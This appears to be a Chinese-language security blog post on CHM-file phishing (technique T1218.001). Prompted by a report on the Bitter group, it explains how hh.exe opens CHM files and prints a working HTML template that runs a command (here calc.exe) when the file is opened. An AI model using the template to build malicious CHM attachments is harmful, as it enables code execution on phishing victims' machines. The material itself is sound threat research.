18 Sep 2023

邮件钓鱼与T1218.001

背景

今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告，其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。

CHM文件打开的过程

CHM文件是各种内容的压缩编译，如HTML文档，图像和脚本/Web相关的编程语言，在CHM打开时，会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。

CHM的Payload

CHM文件可以通过hh.exe进行反编译：

1
hh.exe -decompile %temp%  payload.chm

如何构建CHM文件？

可以使用Microsoft HTML Help Workshop工具创建CHM文件，FILES指的是目录，OPTIONS指的是文档基本信息：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<html>
    <head>
<OBJECT id="Test" type="application/x-oleobject" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" codebase="hhctrl.ocx#Version=5,02,3790,1194" width="1" height="1">
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe, /c calc.exe">
<PARAM name="Item2" value="273,1,1">
</object>
<script>
Test.HHClick();
</script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>